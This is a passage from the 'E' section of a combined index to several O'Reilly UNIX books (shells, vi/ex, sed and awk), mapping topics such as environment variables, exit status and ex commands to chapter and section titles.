retrieving from files : UNIX in a Nutshell, Chapter 2, Reference: gettxt
searching contents of : UNIX in a Nutshell, Chapter 2, Reference: srchtxt
searching for : UNIX in a Nutshell, Chapter 2, Reference: gettxt
sending
UNIX in a Nutshell, Chapter 2, Reference: mail
UNIX in a Nutshell, Chapter 2, Reference: mailx
to all users : UNIX in a Nutshell, Chapter 2, Reference: wall
permission status : UNIX in a Nutshell, Chapter 2, Reference: mesg
reminders to oneself : UNIX Power Tools, 40.11. Send Yourself Reminder Mail
emoticons : UNIX Power Tools, 51.12. You Don't Have Enough Smileys?
empty files
UNIX Power Tools, 13.14. What Can You Do with an Empty File?
UNIX Power Tools, 21.7. Setting File Modification Time with touch
emptying files : UNIX Power Tools, 24.1. Instead of Removing a File, Empty It
enable command : UNIX Power Tools, 8.11. Which One Will bash Use?
encoded files, recreating original file : UNIX in a Nutshell, Chapter 2, Reference: uudecode
encoding arguments in termcap or terminfo entries : UNIX Power Tools, 41.11.2. Encoding Arguments
encryption
UNIX Power Tools, 22.17. Ways of Improving the Security of crypt
UNIX in a Nutshell, Chapter 2, Reference: vi
creating keys : UNIX in a Nutshell, Chapter 2, Reference: makekey
files : UNIX in a Nutshell, Chapter 2, Reference: crypt
end command (csh) : UNIX in a Nutshell, Chapter 5, Reference: end
end of line : (see $ (dollar sign))
end of word : (see \<; \>)
End of file unexpected
UNIX Power Tools, 46.1. Tips for Debugging Shell Scripts
UNIX Power Tools, 46.1.2. Unmatched Operators
END procedure : sed & awk, 11.1.6. Control Flow
end-of-file (EOF) character : UNIX Power Tools, 13.14. What Can You Do with an Empty File?
end-of-input character : UNIX Power Tools, 38.4. Subshells
end-of-line processing : UNIX Power Tools, 5.11. Initializing the Terminal with tset
ENDFILE procedure (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
endif command (csh) : UNIX in a Nutshell, Chapter 5, Reference: endif
"Ending delimiter missing" error : sed & awk, 2.3.1.1. Command garbled
enscript program : UNIX Power Tools, 43.22. Converting Text Files to PostScript
.enter file : UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
enter pseudo-command (sccs) : UNIX in a Nutshell, 17.6.2. Pseudo-commands
.enter.csh script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
.enter.sh script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
entomb system : UNIX Power Tools, 23.9. delete: Protecting Files from Accidental Deletion
ENV variable
Learning the Korn Shell, 3.5.2. The Environment File
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the Korn Shell, A.1. The Bourne Shell
UNIX Power Tools, 2.11. Faster ksh and bash Startup with $- Test
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
command subsitution in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
in privileged mode : Learning the Korn Shell, 10.3.4. Privileged Mode
env command
UNIX Power Tools, 6.1. What Environment Variables Are Good For
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 14.10. Variables Help You Find Directories and Files
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: env
ENVIRON variable
sed & awk, 8.6. System Variables That Are Arrays
sed & awk, 8.6.2. An Array of Environment Variables
environment
Learning the Korn Shell, 3. Customizing Your Environment
Learning the UNIX Operating System, 1.1. Working in the UNIX Environment
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
modifying : UNIX Power Tools, 44.23. Reading Files with the . and source Commands
temporary changes in : UNIX Power Tools, 13.7.2. Temporary Change of Directory and Environment
writing into temporary files : UNIX Power Tools, 40.4. Choosing the Shell Run (We Hope) by at
environment files : Learning the Korn Shell, 3.5.2. The Environment File
compared to .profile : Learning the Korn Shell, 3.5.2. The Environment File
creating : Learning the Korn Shell, 3.5.2. The Environment File
customization in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
lack of system-wide : Learning the Korn Shell, 10.2.3. Types of Global Customization
in : Learning the Korn Shell, 10.3.4. Privileged Mode
security holes in : Learning the Korn Shell, 10.3.2. A System Break-in Scenario
in subshells : Learning the Korn Shell, 8.6.1. Subshell Inheritance
environment variables
Learning the Korn Shell, 3.4. Shell Variables
Learning the Korn Shell, 3.5.1. Environment Variables
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
UNIX Power Tools, 14.10. Variables Help You Find Directories and Files
UNIX Power Tools, 45.24. A Shell Can Read a Script from its Standard Input, But...
sed & awk, 8.6.2. An Array of Environment Variables
UNIX in a Nutshell, 5.3.5. Environment Variables
(see also built-in variables)
(see also under specific variable names)
advantages : UNIX Power Tools, 6.1. What Environment Variables Are Good For
in Bourne shell : UNIX Power Tools, 47.2.5. Variable Syntax
in C shell : UNIX Power Tools, 47.2.5. Variable Syntax
changed inside redirected loops : UNIX Power Tools, 45.23. The Ins and Outs of Redirected I/O Loops
creating : Learning the Korn Shell, 3.5.1. Environment Variables
printing values of : UNIX in a Nutshell, Chapter 2, Reference: printenv
read-only variables in restricted shell : Learning the Korn Shell, 10.3.1. Restricted Shell
setting : UNIX Power Tools, 2.2.2. C Shell
showing : Learning the Korn Shell, 3.5.1. Environment Variables
visibility in subshells : Learning the Korn Shell, 4.1. Shell Scripts and Functions
epsffit program : UNIX Power Tools, 43.24. Other PostScript Utilities
Eqn preprocessor : UNIX in a Nutshell, 16.2. Eqn
equations
UNIX Power Tools, 43.12.1. troff
UNIX Power Tools, 43.12.2. TeX
formatting in nroff/troff : UNIX in a Nutshell, 16.2. Eqn
equivalence classes : sed & awk, 3.2.4.3. POSIX character class additions
erase character
Learning the UNIX Operating System, 1.1.7. Correcting a Mistake
UNIX Power Tools, 5.9. Setting Your Erase, Kill, and Interrupt Characters
UNIX Power Tools, 41.2.2. Handling Most Characters
BACKSPACE : (see BACKSPACE key)
DELETE : (see DEL key)
erasing : (see deleting)
EREs (extended regular expressions) : sed & awk, 3.2.4.3. POSIX character class additions
ERRNO variable
sed & awk, 11.2.3.8. Additional variables
UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
obsolescence in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
error messages
sed & awk, 11.2.1.4. Special filenames
sed & awk, 12.3.4. A Function for Reporting Errors
awk : sed & awk, 2.4.2. Error Messages
capturing for screen : UNIX Power Tools, 42.8. Errors Erased Too Soon? Try These Workarounds
"command garbled"
sed & awk, 2.3.1.1. Command garbled
sed & awk, 5.1. About the Syntax of sed Commands
creating : UNIX Power Tools, 8.6.2. Making Error Messages
formatting : UNIX in a Nutshell, Chapter 2, Reference: fmtmsg
installation process : UNIX Power Tools, 52.8.2.6. An Easy Build
program names included in : UNIX Power Tools, 44.22. Finding a Program Name; Multiple Program Names
scrolling off screen : UNIX Power Tools, 13.4. Problems Piping to a Pager
sed : sed & awk, 2.3.1.1. Command garbled
errors
UNIX Power Tools, 44.9. Testing Your Success
(see also debugging; standard error)
Arguments too long : UNIX Power Tools, 9.20. Too Many Files for the Command Line
"Arguments too long" : UNIX Power Tools, 9.23. Workaround for "Arguments too long" Error
on command line
Learning the UNIX Operating System, 1.1.7. Correcting a Mistake
(see also troubleshooting)
debugging : sed & awk, 10.7. Debugging
handled in C shell : UNIX Power Tools, 47.2.7. Error Handling
in redirected loops : UNIX Power Tools, 45.23. The Ins and Outs of Redirected I/O Loops
"No match" : UNIX Power Tools, 15.4. What if a Wildcard Doesn't Match?
spelling, finding (example) : sed & awk, 12.1. An Interactive Spelling Checker
storing with logerrs script : UNIX Power Tools, 13.16. Store and Show Errors with logerrs
syntax errors
in numeric tests : UNIX Power Tools, 46.4. Stop Syntax Errors in Numeric Tests
in string tests : UNIX Power Tools, 46.5. Stop Syntax Errors in String Tests
esac command (ksh, sh) : UNIX in a Nutshell, Chapter 4, Reference: esac
ESCAPE key : Learning the vi Editor, 2.1. vi Commands
for file completion : UNIX Power Tools, 9.9. Don't Match Useless Files in Filename Completion
ESC Z string : UNIX Power Tools, 5.5. Querying Your Terminal Type: qterm
in vi : sed & awk, 5.6. List
escape sequences
UNIX Power Tools, 5.8. Terminal Escape Sequences
UNIX Power Tools, 41.9. Commands to Adjust Your Terminal
(see also backslash)
awk
sed & awk, 7.6. Expressions
sed & awk, 11.1.1. Escape Sequences
sed & awk, B.2.5.2. Escape sequences
backslash character and : UNIX Power Tools, 8.6.1. Portability
copied into files : UNIX Power Tools, 51.5. Copy What You Do with script
displaying : UNIX in a Nutshell, Chapter 2, Reference: col
echo command interpreting : UNIX Power Tools, 46.10. A Portable echo Command
prompt settings and : UNIX Power Tools, 7.8. Highlighting in Shell Prompts
removing : UNIX Power Tools, 43.19. Removing Leading Tabs and Other Trivia
writing with echo command : UNIX Power Tools, 7.6. Session Information in Your Terminal's Status Line
/etc directory
/etc/hosts : Learning the Korn Shell, 7.2.2.3. Code blocks
/etc/motd script : UNIX Power Tools, 2.14. motd.diff: Show New Lines in Login Messages
/etc/passwd file
Learning the Korn Shell, 1.7.3. Pipelines
Learning the Korn Shell, 7.1.1. Here-documents
Learning the Korn Shell, 7.3.1. Quoting
Learning the Korn Shell, 7.3.2.1. The C Compiler as Pipeline
Learning the Korn Shell, 10.3.1. Restricted Shell
UNIX Power Tools, 1.23. File Access Permissions
UNIX Power Tools, 50.12. Common UNIX Error Messages
UNIX in a Nutshell, 5.2.1. Special Files
/etc/profile file
Learning the Korn Shell, 5.3. case
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 6.3.4. Type and Attribute Options
Learning the Korn Shell, 7.2.2.1. Reading lines from files
Learning the Korn Shell, 10.2. Environment Customization
Learning the Korn Shell, 10.2.3. Types of Global Customization
UNIX in a Nutshell, 4.2.1. Special Files
(see also shell variables)
/etc/shells file : UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
/etc/suid_profile : Learning the Korn Shell, 10.3.4. Privileged Mode
/etc/termcap file
Learning the Korn Shell, 3.4.2.4. Terminal Types
Learning the vi Editor, 7.1. Customizing vi
/etc/ttys file : UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
/etc/ttytab file : UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
eval command
Learning the Korn Shell, 7.3.2. eval
UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
UNIX in a Nutshell, Chapter 4, Reference: eval
UNIX in a Nutshell, Chapter 5, Reference: eval
advantages : UNIX Power Tools, 8.10. eval: When You Need Another Chance
awk compared to : UNIX Power Tools, 44.14. Putting awk, sed, etc., Inside Shell Scripts
for constructing pipelines
Learning the Korn Shell, 7.3.2. eval
Learning the Korn Shell, 7.3.2.1. The C Compiler as Pipeline
examples
UNIX Power Tools, 45.14. Finding the Last Command-Line Argument
UNIX Power Tools, 45.30.4. Using sed
if-then-else in aliases : UNIX Power Tools, 10.7. How to Put if-then-else in a C Shell Alias
role in command-line processing : Learning the Korn Shell, 7.3.2. eval
scanning contents of variables : UNIX Power Tools, 45.17. Making a for Loop with Multiple Variables
sed combined with : UNIX Power Tools, 45.30.4. Using sed
shell variables and : UNIX Power Tools, 10.10. Simulated Bourne Shell Functions and Aliases
simulating arrays : UNIX Power Tools, 45.34. Arrays in the Bourne Shell
evaluating expressions : UNIX in a Nutshell, Chapter 2, Reference: expr
ex commands
abbreviate words (:ab) : Learning the vi Editor, 7.3.1. Word Abbreviation
allow metacharacters (:set magic) : Learning the vi Editor, 7.1.4. Some Useful Options
allow other .exrc files (:set exrc) : Learning the vi Editor, 7.1.3. Alternate Environments
append to existing files (:w >>) : Learning the vi Editor, 5.3.3. Appending to a Saved File
call in next of multiple files (:n) : Learning the vi Editor, 5.5.2. Calling In New Files
combining with vertical bar
Learning the vi Editor, 5.2.7. Combining ex Commands
Learning the vi Editor, 7.3.3. Protecting Keys from Interpretation by ex
confirm substitutions : Learning the vi Editor, 6.1. Confirming Substitutions
context-sensitive replacement
Learning the vi Editor, 6. Global Replacement
Learning the vi Editor, 6.2. Context-sensitive Replacement
copy lines (:co) : Learning the vi Editor, 5.2. Editing with ex
define paragraphs (:set para=) : Learning the vi Editor, 3.2. Movement by Text Blocks
define sections (:set sect=) : Learning the vi Editor, 3.2. Movement by Text Blocks
define shiftwidth (:set sw=) : Learning the vi Editor, 7.5.1. Indentation Control
define tabs (:set ts=) : Learning the vi Editor, 7.5.1. Indentation Control
define window size (:set w=) : Learning the vi Editor, 7.1.1. The :set Command
delete lines (:d) : Learning the vi Editor, 5.2. Editing with ex
display line (:p) : Learning the vi Editor, 5.1. ex Commands
display line numbers (:set nu)
Learning the vi Editor, 2.2.3. Movement Within a Line
Learning the vi Editor, 3.4. Movement by Line Number
Learning the vi Editor, 3.4.1. The G (Go To) Command if
display tabs (:set list) : Learning the vi Editor, 7.5.1. Indentation Control
edit : Learning the vi Editor, 5.5. Editing Multiple Files
edit multiple files (:e) : Learning the vi Editor, 5.5.2. Calling In New Files
execute UNIX commands from vi : Learning the vi Editor, 7.2. Executing UNIX Commands
filter text through UNIX command : Learning the vi Editor, 7.2.1. Filtering Text Through a Command
for loop with : Learning the vi Editor, 7.4.1. Looping in a Shell Script
global (:g) : Learning the vi Editor, 6. Global Replacement
global search (:g) : Learning the vi Editor, 5.2.6. Global Searches
here documents : Learning the vi Editor, 7.4.2. Here Documents
ignore case (:set ic) : Learning the vi Editor, 6.3.2. Metacharacters Used in Replacement Strings
indent input (:set ai) : Learning the vi Editor, 7.5.1. Indentation Control
invoke on a file : Learning the vi Editor, 5.1. ex Commands
invoke vi (:vi) : Learning the vi Editor, 5.1. ex Commands
line addressing symbols : Learning the vi Editor, 5.2.3. Line Addressing Symbols
map command sequence : Learning the vi Editor, 7.3.2. Using the map Command
map function keys : Learning the vi Editor, 7.3.7. Mapping Function Keys
match brackets (:set sm) : Learning the vi Editor, 7.5.2. A Special Search Command
move lines (:m) : Learning the vi Editor, 5.2. Editing with ex
move text blocks by patterns : Learning the vi Editor, 6.4.2. Block Move by Patterns
number lines (:set nu) : Learning the vi Editor, 5.2.2. Defining a Range of Lines
pattern matching : Learning the vi Editor, 6.3. Pattern-matching Rules
preserve a buffer (:pre) : Learning the vi Editor, 4.2.3. Recovering a Buffer
quick reference to
Learning the vi Editor, A. Quick Reference
Learning the vi Editor, C. ex commands
quit file (:q) : Learning the vi Editor, 5.3. Saving and Exiting Files
quit without saving edits (:q!)
Learning the vi Editor, 1.1.2. Problems Opening Files
Learning the vi Editor, 1.2. Quitting Without Saving Edits
Learning the vi Editor, 5.3. Saving and Exiting Files
read in a file (:r) : Learning the vi Editor, 5.4. Copying a File into Another File
replace in text block : Learning the vi Editor, 6.4.2. Block Move by Patterns
save : Learning the vi Editor, 7.3. Saving Commands
save and exit files : Learning the vi Editor, 5.3. Saving and Exiting Files
save in buffer : Learning the vi Editor, 7.3.9. @-Functions
save part of a file : Learning the vi Editor, 5.3.2. Saving Part of a File
save under new filename : Learning the vi Editor, 5.3.1. Renaming the Buffer
scripts : Learning the vi Editor, 7.4. Using ex Scripts
built by diff : Learning the vi Editor, 7.4.5. ex Scripts Built by diff
search for class of words : Learning the vi Editor, 6.4.1. Search for General Class of Words
search patterns : Learning the vi Editor, 5.2.4. Search Patterns
set ignorecase (:set ic)
Learning the vi Editor, 7.1.1. The :set Command
Learning the vi Editor, 7.1.4. Some Useful Options
set vi options
Learning the vi Editor, 7.1. Customizing vi
Learning the vi Editor, 7.1.1. The :set Command
set wrapmargin (:set wm=)
Learning the vi Editor, 2.1. vi Commands
Learning the vi Editor, 2.2.3. Movement Within a Line
Learning the vi Editor, 2.3.8.1. Repeat
set wrapscan (:set ws) : Learning the vi Editor, 3.3.1. Repeating Searches
sort text blocks : Learning the vi Editor, 7.4.3. Sorting Text Blocks: A Sample ex Script
substitute (:s)
Learning the vi Editor, 5.1. ex Commands
Learning the vi Editor, 6. Global Replacement
syntax of : Learning the vi Editor, 1. The vi Text Editor
use from within vi : Learning the vi Editor, 5.1. ex Commands
wrap searches (:set ws) : Learning the vi Editor, 7.1.4. Some Useful Options
wrap words (:set wm=) : Learning the vi Editor, 7.1.4. Some Useful Options
write (save) and quit file (:wq) : Learning the vi Editor, 5.3. Saving and Exiting Files
write (save) and quit file (:x) : Learning the vi Editor, 5.3. Saving and Exiting Files
write (save) file (:w) : Learning the vi Editor, 5.3. Saving and Exiting Files
yank text between files : Learning the vi Editor, 5.5.3. Edits Between Files
ex editor
Learning the vi Editor, 1. The vi Text Editor
Learning the vi Editor, 5. Introducing the ex Editor
UNIX in a Nutshell, Chapter 2, Reference: ex
UNIX in a Nutshell, 9. The Ex Editor
(see also ex commands)
abbreviations
UNIX Power Tools, 30.31. vi Word Abbreviation
UNIX Power Tools, 31.9. Good Stuff for Your .exrc File
appending to file : UNIX Power Tools, 30.13. Appending to an Existing File
capitalizing words : UNIX Power Tools, 30.17. Capitalizing Every Word on a Line
command descriptions : UNIX Power Tools, 33.4. Useful ex Commands
confirming substitutions : UNIX Power Tools, 30.10. Confirming Substitutions in ex and vi
counting occurrences : UNIX Power Tools, 30.16. Counting Occurrences; Stopping Search Wraps
deleting by patterns : UNIX Power Tools, 30.14. Moving Blocks of Text by Patterns
diff command and : UNIX Power Tools, 28.9. ex Scripts Built by diff
file recovery : UNIX Power Tools, 30.24. vi/ex File Recovery vs. Networked Filesystems
filtering text : UNIX Power Tools, 30.22. Filtering Text Through a UNIX Command
global command : UNIX Power Tools, 30.9.1. Global Searches
line addressing : UNIX Power Tools, 33.3. Line Addressing
modelines : UNIX Power Tools, 30.19. Modelines: Bug or Feature?
moving by patterns : UNIX Power Tools, 30.14. Moving Blocks of Text by Patterns
multiple setup files
UNIX Power Tools, 30.20. Multiple Editor Setup Files; Starting with a Search
UNIX Power Tools, 30.21. Per File Setups in Separate Files
no matches : UNIX Power Tools, 33.7. ed/ex Batch Edits: Avoid Errors When No Match
open mode : UNIX Power Tools, 30.36. The ex Open Mode Can Be Handy
pattern-matching metacharacters : UNIX in a Nutshell, 6.2. Metacharacters, Listed by UNIX Program
patterns
UNIX Power Tools, 30.9. Using Search Patterns and Global Commands
UNIX Power Tools, 30.14. Moving Blocks of Text by Patterns
quoting control characters : UNIX Power Tools, 31.6. Protecting Keys from Interpretation by ex
quoting | (vertical bar) : UNIX Power Tools, 31.6. Protecting Keys from Interpretation by ex
reverting to saved : UNIX Power Tools, 30.4. Editing Multiple Files with vi
save as new file : UNIX Power Tools, 30.4. Editing Multiple Files with vi
saving as new file : UNIX Power Tools, 30.11. Keep Your Original File, Write to a New File
saving part of file : UNIX Power Tools, 30.12. Saving Part of a File
scripting : UNIX Power Tools, 33.3. Line Addressing
search-and-replace examples : UNIX in a Nutshell, 6.4.1. Examples of Searching and Replacing
settings
UNIX Power Tools, 30.6. Local Settings for vi and ex
UNIX Power Tools, 30.18. Setting vi Options Automatically for Individual Files
startup commands : UNIX Power Tools, 30.6. Local Settings for vi and ex
stopping search wraps : UNIX Power Tools, 30.16. Counting Occurrences; Stopping Search Wraps
switching between files : UNIX Power Tools, 30.4. Editing Multiple Files with vi
transfer text between files : UNIX Power Tools, 30.5. Edits Between Files
undoing changes : UNIX Power Tools, 30.10. Confirming Substitutions in ex and vi
yank buffers : UNIX Power Tools, 30.5. Edits Between Files
example programs
UNIX Power Tools, 51.11. Making an Arbitrary-Size File for Testing
sed & awk, Sample Programs
exchange command : (see x command (sed))
exclamation point : (see ! (bang))
exec command
Learning the Korn Shell, 9.2.1.2. exec
UNIX Power Tools, 1.11. How the Shell Executes Other Commands
UNIX Power Tools, 38.2. fork and exec
UNIX in a Nutshell, Chapter 4, Reference: exec
UNIX in a Nutshell, Chapter 5, Reference: exec
associating file descriptors with files : UNIX Power Tools, 45.22. Handling Files Line-by-Line
examples : UNIX Power Tools, 45.10. Removing a File Once It's Opened - for Security and Easy Cleanup
manage file descriptors : UNIX Power Tools, 45.7. The exec Command
replacing C shell with Bourne shell
UNIX Power Tools, 45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
UNIX Power Tools, 45.7. The exec Command
typing at a shell prompt : UNIX Power Tools, 38.2. fork and exec
executable files
UNIX Power Tools, 52.8.2. Compiling Source Code
UNIX Power Tools, 52.8.2.7. Functions, Libraries, and Header Files
(see files, executable)
displaying : UNIX Power Tools, 45.5. A File That Shows Itself... and What #! Does
errors caused by : UNIX Power Tools, 50.12. Common UNIX Error Messages
executing without showing #! : UNIX Power Tools, 45.5. A File That Shows Itself... and What #! Does
making executable by using # : UNIX Power Tools, 45.4. Fun with #!
permissions on
UNIX Power Tools, 44.2. Writing a Simple Shell Program
(see also permissions)
strip command and : UNIX Power Tools, 24.13. Save Space in Executable Files with strip
testing : UNIX Power Tools, 44.4. Testing How Your System Executes Files
execute permission
Learning the UNIX Operating System, 3.1.8.1. ls
UNIX Power Tools, 22.2. Tutorial on File and Directory Permissions
UNIX Power Tools, 22.19. Shell Scripts Must be Readable and (Usually) Executable
without read permission : UNIX Power Tools, 22.12. A Directory that People Can Access but Can't List
executed files, shared objects for : UNIX in a Nutshell, Chapter 2, Reference: ldd
executing commands
after logout : UNIX in a Nutshell, Chapter 2, Reference: nohup
of lower priority : UNIX in a Nutshell, Chapter 2, Reference: nice
wait between : UNIX in a Nutshell, Chapter 2, Reference: sleep
execution statistics, report summarizing : UNIX Power Tools, 38.5. The ps Command
EXINIT environment variable
Learning the vi Editor, 7.1. Customizing vi
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 6.10. Running a Command with a Temporarily Different Environment
UNIX Power Tools, 10.2.2. Using More Complex Aliases
UNIX Power Tools, 30.6. Local Settings for vi and ex
UNIX Power Tools, 30.35. Out of Temporary Space? Use Another Directory
UNIX in a Nutshell, 5.3.5. Environment Variables
exit command/statement
Learning the Korn Shell, 1.4. Getting the Korn Shell
Learning the Korn Shell, 1.5. Interactive Shell Use
Learning the Korn Shell, 5.1.1.1. Return
Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
Learning the UNIX Operating System, 1.1.8. Logging Out
UNIX Power Tools, 44.11. Set Exit Status of a Shell (Script)
sed & awk, 8.3. Other Statements That Affect Flow Control
UNIX in a Nutshell, Chapter 4, Reference: exit
UNIX in a Nutshell, Chapter 5, Reference: exit
.cshrc file : UNIX Power Tools, 2.9. Speeding Up Your C Shell with set prompt Test
effect on subshells : UNIX Power Tools, 38.4. Subshells
examples : UNIX Power Tools, 44.5. Test String Values with Bourne Shell case
redirected loops using : UNIX Power Tools, 45.23. The Ins and Outs of Redirected I/O Loops
to end scripts : UNIX Power Tools, 51.5. Copy What You Do with script
exit command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: exit
exit command (lpc) : UNIX Power Tools, 43.3. Printer Control with lpc
.exit file : UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
exit status
Learning the Korn Shell, 5.1.1. Exit Status and Return
Learning the Korn Shell, 5.1.3.1. String comparisons
Learning the Korn Shell, 9.2.3.4. Break conditions
Learning the Korn Shell, 9.2.5. Exercises
UNIX Power Tools, 44.8. Test Exit Status with the if Statement
UNIX in a Nutshell, Chapter 2, Reference: test
(see also status variable)
background jobs : UNIX Power Tools, 44.7. Exit Status of UNIX Processes
commands
UNIX Power Tools, 44.7. Exit Status of UNIX Processes
UNIX in a Nutshell, Chapter 2, Reference: true
conventional values : Learning the Korn Shell, 5.1.1. Exit Status and Return
in job status messages : Learning the Korn Shell, 8.1. Process IDs and Job Numbers
logical combinations : Learning the Korn Shell, 5.1.2. Combinations of Exit Statuses
of loops : UNIX Power Tools, 45.19. A while Loop with Several Loop Control Commands
nonzero : UNIX Power Tools, 46.9. If Command Doesn't Return a Status, Test the Error Messages
pipelines : UNIX Power Tools, 44.7. Exit Status of UNIX Processes
redirected loops : UNIX Power Tools, 45.23. The Ins and Outs of Redirected I/O Loops
returned by processes : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
testing
UNIX Power Tools, 44.8. Test Exit Status with the if Statement
UNIX Power Tools, 44.10. Loops That Test Exit Status
UNIX Power Tools, 46.9. If Command Doesn't Return a Status, Test the Error Messages
trapping when non-0 : Learning the Korn Shell, 9.1.2.2. ERR
values for expr
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 45.29. Testing Characters in a String with expr
zero
UNIX Power Tools, 44.10. Loops That Test Exit Status
UNIX Power Tools, 45.9. The Unappreciated Bourne Shell ":" Operator
UNIX Power Tools, 46.9. If Command Doesn't Return a Status, Test the Error Messages
.exit.csh script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
exiting
UNIX session : Learning the UNIX Operating System, 1.1.8. Logging Out
X Window System : Learning the UNIX Operating System, 2.7. Quitting
.exit.sh script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
exp() : sed & awk, 9.1.1. Trigonometric Functions
exp command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: exp
expand command
UNIX Power Tools, 41.4.1. TAB Is Just Another Character to UNIX
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
expanding files
UNIX in a Nutshell, Chapter 2, Reference: unpack
(see also pack command; pcat command)
Expect program
UNIX Power Tools, 9.26. Expect
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
testing interactive programs : UNIX Power Tools, 9.26.3. Testing: A Story
exponentiation
sed & awk, 7.6. Expressions
sed & awk, 9.1.1. Trigonometric Functions
sed & awk, 11.1.2. Exponentiation
** operator : sed & awk, 7.6. Expressions
^ operator : sed & awk, 7.6. Expressions
export command
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, 4.1. Shell Scripts and Functions
Learning the Korn Shell, 6.3.4. Type and Attribute Options
Learning the Korn Shell, 10.2.3. Types of Global Customization
UNIX in a Nutshell, Chapter 4, Reference: export
expr command
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
Learning the Korn Shell, A.1. The Bourne Shell
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: expr
advantages
UNIX Power Tools, 45.30.1. Matching with expr
UNIX Power Tools, 49.1. bc: Simple Math at the Shell Prompt
alternatives to : UNIX Power Tools, 45.11. The Multipurpose jot Command
arguments : UNIX Power Tools, 45.30.1. Matching with expr
as calculator
UNIX Power Tools, 49.1. bc: Simple Math at the Shell Prompt
UNIX Power Tools, 49.6. Quick Arithmetic with expr
disadvantages : UNIX Power Tools, 45.30.1. Matching with expr
examples : UNIX Power Tools, 45.28. Quick Reference: expr
exit status values
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 45.29. Testing Characters in a String with expr
jot compared to : UNIX Power Tools, 45.11. The Multipurpose jot Command
listing command-line options : UNIX Power Tools, 45.30.1. Matching with expr
loops using : UNIX Power Tools, 45.11. The Multipurpose jot Command
matching character strings : UNIX Power Tools, 45.30.1. Matching with expr
operators : UNIX Power Tools, 45.28. Quick Reference: expr
syntax
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 45.28.1. Examples
testing character strings : UNIX Power Tools, 45.29. Testing Characters in a String with expr
variables : UNIX Power Tools, 45.28.1. Examples
expressions
sed & awk, 3.1. That's an Expression
sed & awk, B.2.5. Expressions
awk : (see awk scripting language)
in C shell
UNIX Power Tools, 47.4.2. Expressions
UNIX Power Tools, 47.4.4. Examples
UNIX in a Nutshell, 5.4. Expressions
conditional : UNIX Power Tools, 44.8. Test Exit Status with the if Statement
evaluating : UNIX in a Nutshell, Chapter 2, Reference: expr
executing as commands : sed & awk, 10.3. The system() Function
regular : (see regular expressions)
expunge program : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
exrc file (on disc) : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
.exrc file
Learning the vi Editor, 7.1. Customizing vi
Learning the vi Editor, 7.1.2. The .exrc File
UNIX Power Tools, 4.9. Setting Up vi with the .exrc File
UNIX Power Tools, 30.6. Local Settings for vi and ex
UNIX Power Tools, 30.18. Setting vi Options Automatically for Individual Files
UNIX Power Tools, 31.9. Good Stuff for Your .exrc File
EXSTAT environment variable : UNIX Power Tools, 30.20. Multiple Editor Setup Files; Starting with a Search
exstr command : UNIX in a Nutshell, Chapter 2, Reference: exstr
exta, extb rates : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
extended regular expressions
UNIX Power Tools, 26.4.11. Extended Regular Expressions
sed & awk, 3.2.4.3. POSIX character class additions
extensions
common awk : sed & awk, 11.2.1. Common Extensions
filename
UNIX Power Tools, 1.17. Filename Extensions
UNIX Power Tools, 4.6. Naming Files
gawk : sed & awk, 11.2.3. GNU awk (gawk)
mawk : sed & awk, 11.2.4. Michael's awk (mawk)
tawk : sed & awk, 11.3.2. Thompson Automation awk (tawk)
extent of matching : sed & awk, 3.2.12.1. The extent of the match
"external control" rates : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
external commands
UNIX Power Tools, 1.10. Internal and External Commands
UNIX Power Tools, 7.4. Faster Prompt Setting with Built-Ins
executing : UNIX Power Tools, 1.11. How the Shell Executes Other Commands
setting variables with : UNIX Power Tools, 7.12. External Commands Send Signals to Set Variables
extracting file contents : sed & awk, 4.4.3. Extracting Contents of a File
extractres program : UNIX Power Tools, 43.24. Other PostScript Utilities

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

